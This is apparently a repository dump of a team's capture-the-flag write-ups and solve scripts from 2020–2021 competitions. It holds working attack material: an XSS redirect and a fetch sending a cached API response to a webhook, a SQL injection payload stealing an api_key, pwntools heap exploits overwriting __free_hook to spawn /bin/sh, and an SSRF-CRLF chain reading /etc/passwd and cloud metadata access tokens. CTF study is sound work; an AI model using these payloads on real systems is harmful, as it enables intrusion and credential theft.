├── 2020
├── .DS_Store
├── ALLES CTF 2020
│ └── web
│ │ ├── OnlyFreights
│ │ └── sol.py
│ │ └── where_is_my_cash
│ │ └── README.md
├── ASIS 2020
│ ├── ppc
│ │ └── baby_md5
│ │ │ ├── solve.py
│ │ │ └── task.py
│ └── pwn
│ │ ├── refcnt
│ │ ├── chall
│ │ ├── libc.so.6
│ │ └── solve.py
│ │ └── vote
│ │ ├── libc.so.6
│ │ ├── solve.py
│ │ └── vote
├── Balsn CTF 2020
│ ├── .DS_Store
│ ├── README.md
│ ├── crypto
│ │ └── happy farm
│ │ │ ├── README.md
│ │ │ ├── solver.py
│ │ │ └── solver.sage
│ ├── misc
│ │ ├── .DS_Store
│ │ ├── bitcoin
│ │ │ ├── .DS_Store
│ │ │ ├── README.md
│ │ │ └── bitcoin.png
│ │ ├── patience 1
│ │ │ ├── README.md
│ │ │ ├── output.png
│ │ │ └── output2.png
│ │ └── transformer
│ │ │ ├── .DS_Store
│ │ │ └── README.md
│ └── web
│ │ ├── .DS_Store
│ │ ├── L5D
│ │ └── README.md
│ │ ├── TPC
│ │ └── README.md
│ │ └── The Woven
│ │ └── the_woven_web.py
├── Fword CTF 2020
│ ├── README.md
│ ├── crypto
│ │ └── Tornado
│ │ │ └── README.md
│ ├── pwn
│ │ └── One piece Remake
│ │ │ └── README.md
│ ├── rev
│ │ ├── Auto
│ │ │ └── README.md
│ │ └── Welcome Reverser
│ │ │ └── README.md
│ ├── static
│ │ └── rank.PNG
│ └── web
│ │ ├── Buried
│ │ └── README.md
│ │ ├── Otaku
│ │ └── README.md
│ │ ├── fshop
│ │ └── fshop.md
│ │ ├── pastaxss
│ │ ├── README.md
│ │ └── imgs
│ │ │ ├── writeup1.png
│ │ │ ├── writeup2.png
│ │ │ └── writeup3.png
│ │ └── useless
│ │ └── README.md
├── N1CTF 2020
│ ├── crypto
│ │ ├── BabyProof
│ │ │ ├── README.md
│ │ │ ├── e1.PNG
│ │ │ └── e2.PNG
│ │ ├── Curve
│ │ │ └── README.md
│ │ ├── FlagBot
│ │ │ └── README.md
│ │ ├── N1Vault
│ │ │ └── README.md
│ │ ├── VSS
│ │ │ └── README.md
│ │ └── easyRSA
│ │ │ └── README.md
│ ├── misc
│ │ ├── filters
│ │ │ └── README.md
│ │ └── n1egg_allsignin
│ │ │ └── README.md
│ ├── pwn
│ │ └── README.md
│ ├── rev
│ │ ├── fixed_camera
│ │ │ └── README.md
│ │ ├── n1egg_fixed_camera
│ │ │ └── README.md
│ │ ├── oflo
│ │ │ └── README.md
│ │ └── oh_my_julia
│ │ │ └── README.md
│ └── web
│ │ ├── easy_tp5
│ │ └── README.md
│ │ ├── fun_zabbix
│ │ └── README.md
│ │ ├── signin
│ │ └── README.md
│ │ └── the_king_of_phish
│ │ └── README.md
├── TetCTF 2020
│ ├── crypto
│ │ └── README.md
│ ├── pwn
│ │ ├── babyformat
│ │ │ ├── babyformat
│ │ │ ├── libc-2.23.so
│ │ │ └── solve.py
│ │ └── warmup
│ │ │ ├── libc-2.23.so
│ │ │ ├── solve.py
│ │ │ └── warmup
│ └── web
│ │ ├── Super Calc
│ │ └── README.md
│ │ ├── hpny
│ │ └── README.md
│ │ └── mysqlimit
│ │ └── README.md
└── pbctf 2020
│ ├── README.md
│ ├── crypto
│ ├── ainissesthai
│ │ ├── README.md
│ │ └── ainissesthai.py
│ └── strong_cipher
│ │ ├── ciphertext
│ │ └── solve.py
│ ├── misc
│ ├── gcombo
│ │ ├── README.md
│ │ ├── parsed.py
│ │ └── solve.py
│ ├── not_stego
│ │ ├── README.md
│ │ └── profile.png
│ └── vaccine_stealer
│ │ └── README.md
│ ├── pwn
│ ├── Amazing-ROP
│ │ └── README.md
│ ├── jheap
│ │ └── README.md
│ └── pwnception
│ │ ├── README.md
│ │ └── exploit.py
│ ├── rev
│ └── rgnn
│ │ └── README.md
│ └── web
│ ├── XSP
│ ├── README.md
│ └── bruteforce.html
│ ├── apoche1
│ └── README.md
│ ├── ikea-name-generator
│ └── README.md
│ ├── simple_note
│ └── exploit.py
│ └── sploosh
│ └── README.md
├── 2021
├── *CTF-2021
│ ├── misc
│ │ └── minegame.md
│ ├── pwn
│ │ └── babyheap
│ │ │ └── exploit.py
│ └── web
│ │ └── lottery-again.md
├── .DS_Store
├── SSTF 2021 (Samsung CTF)
│ └── README.md
├── google-ctf
│ └── pwn
│ │ └── tridroid
│ │ ├── README.md
│ │ ├── hook.js
│ │ ├── server.py
│ │ ├── solve.html
│ │ ├── solve.js
│ │ └── solve.py
├── line ctf 2021
│ └── README.md
├── pbctf 2021
│ ├── .DS_Store
│ ├── Ghostwriter.md
│ ├── README.md
│ ├── binarytree.md
│ ├── btle.md
│ ├── cosmo.md
│ ├── is_that_your_packet.md
│ ├── switching.md
│ └── web.md
├── seccon 2021
│ └── saas1.md
├── uiuctf
│ └── kernel
│ │ └── bpf_badjmp
│ │ ├── README.md
│ │ ├── build.sh
│ │ ├── exploit.c
│ │ └── send.py
├── union-ctf
│ └── pwn
│ │ ├── babyrarf
│ │ ├── Dockerfile
│ │ ├── babyrarf
│ │ ├── babyrarf.xinetd
│ │ ├── exploit.py
│ │ └── main.c
│ │ ├── notepad
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── exploit.py
│ │ ├── flag.txt
│ │ ├── libc.so.6
│ │ ├── notepad
│ │ ├── notepad.cpp
│ │ ├── notepad.h
│ │ └── notepad.xinetd
│ │ └── nutty
│ │ ├── exploit
│ │ ├── exploit.c
│ │ └── run.py
├── zer0pts
│ └── webs
│ │ └── README.md
└── CTF-2021
│ ├── misc
│ ├── minegame.md
│ └── puzzle.md
│ ├── pwn
│ └── babyheap
│ │ ├── exploit.py
│ │ ├── libc.so.6
│ │ └── pwn
│ └── web
│ ├── lottery-again.md
│ ├── oh_my_bet.py
│ └── solve.py
├── 2022
├── dicectf
│ ├── shadow.md
│ └── x.png
└── justctf
│ └── Dank_Shark.md
└── README.md
/2020/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/.DS_Store
--------------------------------------------------------------------------------
/2020/ALLES CTF 2020/web/where_is_my_cash/README.md:
--------------------------------------------------------------------------------
1 | # Where is my cash - 2 Solves
2 |
3 | ## Description
4 |
5 | We got first blood on this challenge. I'll just write about solution steps.
6 |
7 | ## Part 1 - XSS
8 |
9 | There was XSS in `api_key` parameter in homepage, Our input would directly goes to javascript variable.
10 |
11 | `const API_TOKEN = "INPUT";`
12 |
13 | So we could redirect admin to our controlled website with following payload.
14 |
15 | `?api_key="-(document.location='ourwebsite')-"`
16 |
17 | ## Part 2 - Misconfigured CORS
18 |
19 | There was option in website that would let us to provide link from challenge's website and admin would visit it.
20 |
21 | the `Access-Control-Allow-Origin` was set to `*` for `/1.0/user` endpoint and the `api_key` had to be set in `x-api-token` header.
22 |
23 | Also there was no `cache-control` or `max-age` header. So the response would be cached and we could request the cached response from any origin. we can request from cache with fetch, Just need to set `cache` option to `force-cache`.
24 |
25 | To achieve this, We used the following code.
26 |
27 | `fetch("https://api.wimc.ctf.allesctf.net/1.0/user",{"cache":"force-cache"}).then((r)=>r.text()).then((r)=>fetch("webhook?a="+btoa(r)));`
28 |
29 | which led to
30 |
31 | `{"code":200,"data":{"wallets":[],"user_id":"13371337-1337-1337-1337-133713371335","api_key":"980a0deeeaa5261687fb6ad2e37561","username":"local_it_staff"},"status":"success"}`
32 |
33 | So `local_it_staff`'s `api_key` is `980a0deeeaa5261687fb6ad2e37561`
34 |
35 |
36 | ## Part 3 - ssrf in html-pdf
37 |
38 | Also there was html to pdf functionality in website which was using [html-pdf](https://www.npmjs.com/package/html-pdf) module.
39 |
40 | We could give any html to the `/1.0/admin/createReport` endpoint with `html` parameter, and it would give us the pdf of our html.
41 |
42 | we could request to api with `XMLHttpRequest`. The api was running on port `1337` so we could request to api with following html
43 |
44 | ```
45 |
46 |
47 |
48 |
49 |
58 |
59 |
60 | ```
61 | Which result to `Cannot GET /` in created pdf.
62 |
63 | ## Part 4 - Steal admin api-key with SQLI
64 | There was `/internal/createTestWallet` endpoint which would let us to create wallet, but the query was vulnerable to SQL Injection. The query was:
65 |
66 | `INSERT INTO wallets VALUES ('${wallet_id}', NULL, ${balance}, 'TESTING WALLET 1234');`
67 |
68 | And we could control the `balance` variable.
69 |
We knew that the flag holder was `bob_h4x0r` with user_id `13371337-1337-1337-1337-133713371337`.
So we created another wallet with our `user_id` as owner and `bob_h4x0r`'s apikey as `wallet_note`.
70 |
71 | We could achieve this by providing following payload as `balance`.
72 |
73 | `0,""),(2122424354,"OUR USERID",1333,(select api_key from general where username="bob_h4x0r" )); -- -`
74 |
75 | After executing the query with SSRF, we could see new wallet with admin's apikey as note. After logging in with admin's apikey, we got the FLAG.
76 |
77 | >FLAG :ALLES{th4nks f0r y0uR h31p, my fr13nd!}
78 |
79 | Thanks to my amazing teammates and event's authors.
80 |
--------------------------------------------------------------------------------
/2020/ASIS 2020/ppc/baby_md5/solve.py:
--------------------------------------------------------------------------------
1 | from hashlib import md5
2 | import random
3 | import string
4 | from sys import argv
5 |
6 | def _md5(x, n):
7 | for i in range(n):
8 | x = md5(x).hexdigest()
9 | return x
10 |
11 | def brute(x, m, n):
12 | assert(m > n)
13 | while 1:
14 | rand = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
15 | z = _md5(x + rand, m-n)
16 | if z.startswith('dead'):
17 | print x + rand
18 | print z
19 |
20 | print brute(argv[1], int(argv[2]), int(argv[3]))
21 |
--------------------------------------------------------------------------------
/2020/ASIS 2020/ppc/baby_md5/task.py:
--------------------------------------------------------------------------------
1 | def babymd5(m, n, x_head, y_head, x, y):
2 | if x.startswith(x_head) and y.startswith(y_head):
3 | for _ in range(m):
4 | xhash = md5(x.encode('utf-8')).hexdigest()
5 | x = xhash
6 | for _ in range(n):
7 | yhash = md5(y.encode('utf-8')).hexdigest()
8 | y = yhash
9 | if xhash == yhash:
10 | return True
11 | return False
12 |
13 | # conditions : (m, n, x_head, y_head) = (179, 4, 'ByQ', 'dead')
14 |
--------------------------------------------------------------------------------
/2020/ASIS 2020/pwn/refcnt/chall:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/ASIS 2020/pwn/refcnt/chall
--------------------------------------------------------------------------------
/2020/ASIS 2020/pwn/refcnt/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/ASIS 2020/pwn/refcnt/libc.so.6
--------------------------------------------------------------------------------
/2020/ASIS 2020/pwn/refcnt/solve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from pwn import *
4 |
5 | exe = ELF("./chall", 0)
6 | libc = exe.libc
7 |
8 | context.binary = exe
9 | GDBCMD = """
10 | brva 0x930
11 | """
12 | r = None
13 |
14 | def conn():
15 | if args.LOCAL:
16 | return process(exe.path)
17 | else:
18 | return remote("69.90.132.248", 1337)
19 |
20 | def new(idx, size):
21 | r.sendlineafter("Choice: ", "1")
22 | r.sendlineafter(": ", str(idx))
23 | r.sendlineafter(": ", str(size))
24 |
25 | def edit(idx, data):
26 | r.sendlineafter("Choice: ", "2")
27 | r.sendlineafter(": ", str(idx))
28 | r.sendafter(": ", data)
29 |
30 | def copy(src, dst):
31 | r.sendlineafter("Choice: ", "3")
32 | r.sendlineafter(": ", str(src))
33 | r.sendlineafter(": ", str(dst))
34 |
35 | def view(idx):
36 | r.sendlineafter("Choice: ", "4")
37 | r.sendlineafter(": ", str(idx))
38 | r.recvuntil(": ")
39 | return r.recvline(0)
40 |
41 | def delete(idx):
42 | r.sendlineafter("Choice: ", "5")
43 | r.sendlineafter(": ", str(idx))
44 |
45 | r = conn()
46 | new(0, 0x30)
47 | new(1, 0x10)
48 |
49 | for i in range(8):
50 | size = 0x40 + i*0x10
51 | new(4, size)
52 | edit(4, p64(0x21) * (size/8))
53 | delete(4)
54 |
55 | for i in range(2):
56 | copy(0, 0)
57 | edit(0, 'x')
58 |
59 | new(2, 0x30)
60 |
61 | new(3, 0x30)
62 | shell = ';/bin/sh;'
63 | edit(3, shell + 'B'*(0x2f-len(shell))+'\xf1')
64 | delete(1)
65 |
66 | new(0, 0xe0)
67 | edit(0, p64(0)*2 + p64(0x421))
68 |
69 | new(1, 0x40)
70 | delete(1)
71 |
72 | new(1, 0x40)
73 | libc.address = u64(view(1).ljust(8, '\x00')) - 0x1ebfd0
74 | log.success('Libc leak: '+hex(libc.address))
75 |
76 | new(2, 0x60)
77 | copy(2, 2)
78 | edit(2, 'x')
79 | delete(2)
80 |
81 | new(2, 0xc0)
82 | edit(2, 'B'*0x50 + p64(0x70) + p64(libc.symbols['__free_hook']-8))
83 |
84 | new(0, 0x60)
85 | new(1, 0x60)
86 |
87 | edit(1, p64(libc.symbols['system']))
88 | edit(2, 'B'*0xc0)
89 |
90 | copy(3,3)
91 | r.interactive()
92 |
--------------------------------------------------------------------------------
/2020/ASIS 2020/pwn/vote/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/ASIS 2020/pwn/vote/libc.so.6
--------------------------------------------------------------------------------
/2020/ASIS 2020/pwn/vote/solve.py:
--------------------------------------------------------------------------------
1 |
2 | from pwn import *
3 | e = ELF('./vote')
4 | libc = e.libc
5 | context.terminal = ['tmux', 'new-window']
6 | #p = process(e.path)
7 | p = remote('69.90.132.248', 3371)
8 |
9 | def c(x):
10 | p.recvuntil('> ')
11 | p.sendline(str(x))
12 |
13 | def d(x):
14 | p.recvuntil('?\n')
15 | p.sendline(str(x))
16 |
17 | def vote(x, z=True):
18 | c(5)
19 | d('y')
20 | d(10)
21 | d(x)
22 | d('ZZZ')
23 | if(z):
24 | d('ZZZ')
25 | p.recvuntil('0x')
26 | return '0x'+p.recvline().replace('.\n','')
27 |
28 | def delete(idx):
29 | c(3)
30 | p.sendlineafter(': ', idx)
31 |
32 | def update(idx, x):
33 | c(4)
34 | p.sendlineafter(': ', idx)
35 | p.recvuntil(': ')
36 | leak = p.recvline().strip()
37 | d(x)
38 | return leak
39 |
40 | context.log_level = 'DEBUG'
41 | libc_leak_offset = 0x12090
42 | last_chunk_offset = 0x140e8
43 | a = vote('A'*0x40)
44 | b = vote('A'*0x40)
45 |
46 | delete(a)
47 | delete(b)
48 | heap_leak = u64(update(b, p64(0x417fd0)+'\x00')[8:16])-0x10
49 | print hex(heap_leak)
50 | update(b, p64(heap_leak+last_chunk_offset)+'\x00')
51 | W = vote('J'*0x40)
52 | lol = vote(p64(0)*2 + p64(heap_leak+libc_leak_offset) + p64(0x40)+p64(0x78)+p64(0x4a)+p64(0x1)*2)
53 | c(2)
54 | libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3e7d60
55 | print hex(libc.address)
56 | update(lol, p64(0)*2 + p64(libc.symbols['__free_hook']) + p64(0x40)+p64(0x78)+p64(0x4a)+p64(0x1)*2)
57 | #print p64(libc.symbols['do_system'])
58 | print update(W, p64(libc.address+0x4efc0))
59 | c('0'*0x18+';/bin/sh;')
60 |
61 | p.interactive()
62 |
--------------------------------------------------------------------------------
/2020/ASIS 2020/pwn/vote/vote:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/ASIS 2020/pwn/vote/vote
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/.DS_Store
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/README.md:
--------------------------------------------------------------------------------
1 | ## Balsn CTF 2020 Write ups
2 |
3 | **Team: Super⚔️Blue (Super Guesser ⚔️ Perfect Blue)**
4 |
5 | ### rev
6 |
7 | - Babyrev - https://gist.github.com/theKidOfArcrania/c16a4db2db02e89327300012f85176d2
8 |
9 |
10 |
11 | ### pwn
12 |
13 | - Diary - https://gist.github.com/farazsth98/ec8ea2869d1e76ea4a7a3cc96fe328ff
14 | - Macbook Air - https://github.com/perfectblue/ctf-writeups/tree/master/2020/BalsnCTF/machbookair
15 |
16 |
17 |
18 | ### misc
19 |
20 | - Election - https://github.com/perfectblue/ctf-writeups/tree/master/2020/BalsnCTF/election
21 | - IdleGame - https://github.com/perfectblue/ctf-writeups/tree/master/2020/BalsnCTF/IdleGame
22 | - Bitcoin - [misc/bitcoin](misc/bitcoin)
23 | - Transformer - [misc/transformer](misc/transformer)
24 | - misc-show-your-patience-1 - [misc/patience 1](misc/patience%201)
25 | - misc-show-your-patience-2 - https://gist.github.com/myrdyr/952f170cf5d41403eca9a552110a8373
26 |
27 |
28 |
29 | ### web
30 |
31 | - TPC - [web/TPC](web/TPC)
32 |
33 | - The Woven Web - [web/The Woven/the_woven_web.py](web/The%20Woven/the_woven_web.py)
34 |
35 | - L5D - [web/L5D](web/L5D)
36 | - Windows XP Media Player - https://gist.github.com/wbowling/c32714967623aafe466a1928615390bc
37 |
38 |
39 |
40 | ### crypto
41 |
42 | - Happy farm - [crypto/happy farm](crypto/happy%20farm)
43 |
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/crypto/happy farm/solver.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | from Crypto.Util.number import *
3 |
4 | context.log_level = 'DEBUG'
5 |
6 | r = remote('happy-farm.balsnctf.com', 4001)
7 | # r = process(['python3', './chal.py'])
8 |
9 | def get_onion():
10 | s = ''
11 | for _ in range(22):
12 | s += r.recvuntil('\n').decode()
13 | s = s.replace(' ', '').replace('\n', '').replace('x', '')
14 | return bytearray.fromhex(s)
15 |
16 | def get_eaten_onion():
17 | s = ''
18 | for _ in range(22):
19 | s += r.recvuntil('\n').decode()
20 | s = s.replace(' ', '').replace('\n', '').replace('x', '')
21 | s = s[:173] + '0' + s[173:173+8]
22 | return bytearray.fromhex(s)
23 |
24 | # Level 1
25 | r.recvuntil('My seed:\n')
26 | seed = get_onion()
27 | r.recvuntil('My start date: ')
28 | date = bytearray.fromhex(r.recv(32).decode())
29 |
30 | seed[0] ^= 1
31 | date[0] ^= 1
32 | r.recvuntil('start date: ')
33 | r.sendline(date.hex())
34 | r.recvuntil('seed: ')
35 | r.sendline(seed.hex())
36 | r.recvuntil('layer: ')
37 | r.sendline('1')
38 |
39 | r.recvuntil('Your onion\n')
40 | seed = get_onion()
41 | print(seed)
42 |
43 | date = seed[-16:]
44 | r.recvuntil('start date: ')
45 | r.sendline(date.hex())
46 | r.recvuntil('seed: ')
47 | r.sendline(seed.hex())
48 | r.recvuntil('layer: ')
49 | r.sendline('8999')
50 |
51 | r.recvuntil('Your onion\n')
52 | output = get_onion()
53 |
54 | r.recvuntil('How would my onion looks like? ')
55 | r.sendline(output.hex())
56 |
57 | # Level 2
58 | r.recvuntil('My seed is\n')
59 | seed = get_onion()
60 |
61 | n1 = 2 ** (1023 * 3) - bytes_to_long(seed)
62 |
63 | r.recvuntil("layer: ")
64 | r.sendline('8999')
65 | r.recvuntil("your onion\n")
66 | onion1 = get_onion()
67 |
68 | n2 = bytes_to_long(onion1)
69 | for _ in range(8998):
70 | n2 = pow(n2, 3, n1)
71 |
72 | n = GCD(n2 - 2 ** 1023, n1)
73 |
74 | r.recvuntil('seed: ')
75 | r.sendline(onion1.hex())
76 | r.recvuntil('layer: ')
77 | r.sendline('1')
78 | r.recvuntil('Here you go\n')
79 | onion2 = get_eaten_onion()
80 |
81 | # f = (x + ((onion2 + (i << 32)) << 296)) ^ 3 - onion1
82 |
83 | sage = process(['sage', './solver.sage', str(n), onion1.hex(), onion2.hex()])
84 | onion2 = long_to_bytes(int(sage.recvline().decode().strip()))
85 |
86 | r.recvuntil('How would my onion looks like? ')
87 | r.sendline(onion2.hex())
88 |
89 | # Level 3
90 | for _ in range(4):
91 | r.recvuntil('layer: ')
92 | r.sendline(str(9000 ** 3 % 192))
93 | r.recvuntil('your onion\n')
94 | output = get_onion()
95 |
96 | r.recvuntil('How would my onion looks like? ')
97 | r.sendline(output.hex())
98 |
99 | r.interactive()
100 |
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/crypto/happy farm/solver.sage:
--------------------------------------------------------------------------------
1 | import sys
2 |
3 | n = int(sys.argv[1])
4 | onion1 = int(sys.argv[2], 16)
5 | onion2 = int(sys.argv[3], 16)
6 |
7 | PR. = PolynomialRing(Zmod(n))
8 |
9 | for i in range(16):
10 | f = (x + ((onion2 + (i * 2 ^ 32)) * 2 ^ 296)) ^ 3 - onion1
11 |
12 | res = f.small_roots(beta=1.0, epsilon=0.04)
13 | if res:
14 | print(res[0] + ((onion2 + (i * 2 ^ 32)) * 2 ^ 296))
15 | exit(0)
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/misc/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/.DS_Store
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/misc/bitcoin/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/bitcoin/.DS_Store
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/misc/bitcoin/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | ## Bitcoin
6 |
7 | * simply send
8 |
9 | ```
10 | echo -e '\xff' | nc the-last-bitcoin.balsnctf.com 7123
11 | ```
12 |
13 | 
14 |
15 |
16 |
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/misc/bitcoin/bitcoin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/bitcoin/bitcoin.png
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/misc/patience 1/README.md:
--------------------------------------------------------------------------------
1 | ## show your patience 1
2 |
3 | #### PART 1
4 |
5 | 
6 |
7 | We got string `_q!fitlboEc`
8 |
9 |
10 |
11 | #### PART 2
12 |
13 | About the this one, we calculated power-on time (by the number of frames) and got something.
14 |
15 | ```
16 | [37, 108, 109, 37, 109, 37, 37, 37, 109, 109, 37, 37, 37, 37, 37, 109, 109, 37, 109, 109, 37, 37, 37, 109, 37, 37, 108, 109, 37, 109, 109, 109, 37, 109, 109, 37, 37, 37, 109, 109, 37, 37]
17 | ```
18 |
19 |
20 |
21 | and replaced `37` as `.` / `108` or `109` as `-`. So, we got something like below.
22 |
23 | ```
24 | .--. -...- -... ..--.- -...- ..--.- --.- -...- -..
25 |
26 | morse decode result:
27 | P=B_=_Q=D
28 | ```
29 |
30 |
31 |
32 | Following `P=B_=_Q=D`, we thought it should be `p=b / q=d` and flipped PART 1 string.
33 |
34 | ```
35 | _q!fitlboEc
36 |
37 | gave (with p=b q=d)
38 |
39 | _dit!flpoEc
40 | ```
41 |
42 |
43 |
44 | #### PART 3
45 |
46 | number of columns == index of the string from PART 1
47 |
48 | we calculated them and got `i_did_it!!_i_did_it!!_flip_it_to_dEcodE!!!`
49 |
50 | So, flag was `BALSN{i_did_it!!_i_did_it!!_flip_it_to_dEcodE!!!}`
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/misc/patience 1/output.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/patience 1/output.png
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/misc/patience 1/output2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/patience 1/output2.png
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/misc/transformer/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/misc/transformer/.DS_Store
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/misc/transformer/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Transformer: The Guardian Knight
4 |
5 |
6 | Solved By: Corb3nik
7 |
8 |
9 | ```
10 | #!/usr/bin/env python3
11 |
12 | from pwn import *
13 | import re
14 |
15 | # BALSN{REDACT_is_this_WAF-+!}
16 |
17 | PACKET = """GET / HTTP/1.1\r\n\r\n"""
18 | p = remote("waf.balsnctf.com", 8889)
19 | p.send(PACKET * 100000)
20 |
21 | out = p.recvall()
22 | flags = re.findall(b"BALSN{.+?}", out)
23 | print(set(flags))
24 | ```
25 |
26 |
27 | if the response chunk has BALSN{...the.flag...}, it''l get redacted... But if the chunk contains BALNS{... (note the missing end because of packet fragmentation), it wont replace
28 |
29 |
30 | so if you send a bunch of HTTP requests with keep-alive, the server will send back the flag 100000 times, and hopefully, one of the flags will be split between two packets, and not get redacted
31 |
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/web/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/Balsn CTF 2020/web/.DS_Store
--------------------------------------------------------------------------------
/2020/Balsn CTF 2020/web/TPC/README.md:
--------------------------------------------------------------------------------
1 | ## TPC
2 |
3 | by TnMch
4 |
5 |
6 |
7 | By checking the url givng `http://35.194.175.80:8000/` we found a printed text that mentions the entry point for this challenge
8 |
9 |
10 |
11 | sending `file:///etc/passwd` as a **site** argument gives us the content for `/etc/passwd`
12 |
13 | ```
14 | view-source:http://35.194.175.80:8000/query?site=file:///etc/passwd
15 | ```
16 |
17 |
18 |
19 | So its **SSRF** ( Server-side request forgery ), if we send `file:///proc/self/cmdline` we get the command line which include python file name `main-dc1e2f5f7a4f359bb5ce1317a.py`
20 |
21 | ```
22 | /usr/local/bin/python/usr/local/bin/gunicorn main-dc1e2f5f7a4f359bb5ce1317a:app--bind0.0.0.0:8000--workers5--worker-tmp-dir/dev/shm--worker-classgevent--access-logfile---error-logfile-
23 | ```
24 |
25 | And finally read the source code http://35.194.175.80:8000/query?site=file:///opt/workdir/main-dc1e2f5f7a4f359bb5ce1317a.py`
26 |
27 | ```
28 | import urllib.request
29 |
30 | from flask import Flask, request
31 |
32 | app = Flask(__name__)
33 |
34 |
35 | @app.route("/query")
36 | def query():
37 | site = request.args.get('site')
38 | text = urllib.request.urlopen(site).read()
39 | return text
40 |
41 |
42 | @app.route("/")
43 | def hello_world():
44 | return "/query?site=[your website]"
45 |
46 |
47 | if __name__ == "__main__":
48 | app.run(debug=False, host="0.0.0.0", port=8000)
49 | ```
50 |
51 |
52 |
53 | Simple code, if we read more on `urllib` we can find it vulnerable to **CRLF** : https://bugs.python.org/issue35906 (CVE-2019-9947)
54 |
55 | And if we check `file:///etc/hosts` we find
56 |
57 | ```
58 | 169.254.169.254 metadata.google.internal metadata
59 | ```
60 |
61 | So we can read google cloud metadata using **SSRF** chained with **CRLF**
62 |
63 | ```
64 | curl -v 'http://35.194.175.80:8000/query?site=http://metadata.google.internal/computeMetadata/v1/instance/%20HTTP%2F1.1%0D%0AMetadata-Flavor:%20Google%0D%0Alol:%20'
65 | ```
66 |
67 | As output we have
68 |
69 | ```
70 | attributes/
71 | cpu-platform
72 | description
73 | disks/
74 | guest-attributes/
75 | hostname
76 | id
77 | image
78 | legacy-endpoint-access/
79 | licenses/
80 | machine-type
81 | maintenance-event
82 | name
83 | network-interfaces/
84 | preempted
85 | remaining-cpu-time
86 | scheduling/
87 | service-accounts/
88 | tags
89 | virtual-clock/
90 | zone
91 | ```
92 |
93 |
94 |
95 | We just next get access token , find out that we have access to storage **devstorage.read_only**
96 |
97 | ```
98 | {
99 | "issued_to": "102193360015934362205",
100 | "audience": "102193360015934362205",
101 | "scope": "https://www.googleapis.com/auth/trace.append https://www.googleapis.com/auth/monitoring.write https://www.googleapis.com/auth/service.management.readonly https://www.googleapis.com/auth/servicecontrol https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_only",
102 | "expires_in": 2844,
103 | "access_type": "online"
104 | }
105 | ```
106 |
107 | Reading **access_token**
108 |
109 | ```
110 | curl -s 'http://35.194.175.80:8000/query?site=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token%20HTTP%2F1.1%0D%0AMetadata-Flavor:%20Google%0D%0Alol:%20'
111 | ```
112 |
113 | And to read all `asia.artifacts.balsn-ctf-2020-tpc.appspot.com` bucket data
114 |
115 | We have full cmd to just process all this steps :
116 |
117 | ```
118 | mkdir out && access_token=$(curl -s 'http://35.194.175.80:8000/query?site=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token%20HTTP%2F1.1%0D%0AMetadata-Flavor:%20Google%0D%0Alol:%20' | jq -r '.access_token') && curl -s 'https://www.googleapis.com/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o?access_token='$access_token | jq -r '.items[].name' | while read obj;do curl -s -X GET -H 'Authorization: Bearer '$access_token https://storage.googleapis.com/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/{$obj} --output out/output_$(echo $obj | cut -d ':' -f 2) ;done && cd out && for i in $(ls); do mkdir files;tar -xvf $i -C files/ ;done && grep -r "BALSN" files/opt
119 | ```
120 |
